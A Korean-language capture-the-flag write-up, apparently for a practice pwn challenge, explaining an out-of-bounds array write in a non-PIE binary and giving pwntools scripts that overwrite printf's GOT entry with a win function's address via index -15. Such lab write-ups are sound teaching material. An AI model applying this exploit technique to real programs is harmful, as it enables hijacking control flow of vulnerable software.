main
함수
감사하게도 win
함수가 존재한다
간단하게 idx
를 입력받고, 다음 반복문때 buf[idx]
의 값을 넣어주는 프로그램이다
bof
는 안 터질것 같았고, 다른 취약점이 존재할 것 같았다
보면 바로 보인다
Out Of Bound
취약점으로aaw
가 가능하다
NO PIE
이니깐 바로 음수 인덱스 넣고,win
함수 주소를 바로 넣으면 될 것 같다
gdb
로 분석하면
buf
의 주소는 0x404080
임을 알 수 있다
while
문이 한 번 돌게 되면 printf
함수를 호출한다
printf
함수를 호출하는 주소에다가 oob
를 이용해서 aaw
을 한 다음, win
함수를 넣어주면 된다
printf
의 GOT
주소는 : 0x404008
이다 (NO PIE
환경이므로)
from pwn import *
p = process("./prob")
e = ELF("./prob")
def slog(n, m):
return success(" : ".join([n, hex(m)]))
slog("[!] print-got ", e.got['printf'])
p.interactive()
buf
의 주소와 printf
함수의 주소 차이를 계산 해보면,
from pwn import *
p = process("./prob")
e = ELF("./prob")
buf = 0x404080
def slog(n, m):
return success(" : ".join([n, hex(m)]))
slog("[!] print-got ", e.got['printf'])
print(f"Distance [buf] - [print_got] = {hex(buf)} - {hex(e.got['printf'])}\n=> {int(buf) - int(e.got['printf'])}")
p.interactive()
120
만큼 떨어져 있다고 한다
중요 :
120
만큼 떨어져 있다고 해서idx = -120
이 아니라8
개씩 끊어서 들어가므로idx = -15
를 넣어줘야 한다
from pwn import *
p = process("./prob")
#p = remote("host3.dreamhack.games", [PORT])
e = ELF("./prob")
def slog(n, m):
return success(" : ".join([n, hex(m)]))
buf = 0x404080
slog("[!] win ", e.symbols['win'])
slog("[!] print-got ", e.got['printf'])
slog("[!] buf", buf)
print(f"Distance [buf] - [print_got] = {hex(buf)} - {hex(e.got['printf'])}\n=> {int(buf) - int(e.got['printf'])}")
p.sendlineafter(b"val: ", str(-15))
p.sendlineafter(b"val: ", str(int(e.symbols['win'])))
p.interactive()
OOB
를 실습하는 좋은 문제였다
120
을 8
로 나누는 과정, int
로 주소를 받는 과정
이 부분들에서 조금 막혔는데, 코드를 더 깊게 분석하고, 익스코드와 기본적인 개념들을 중요시 해야겠다는 점을 배웠다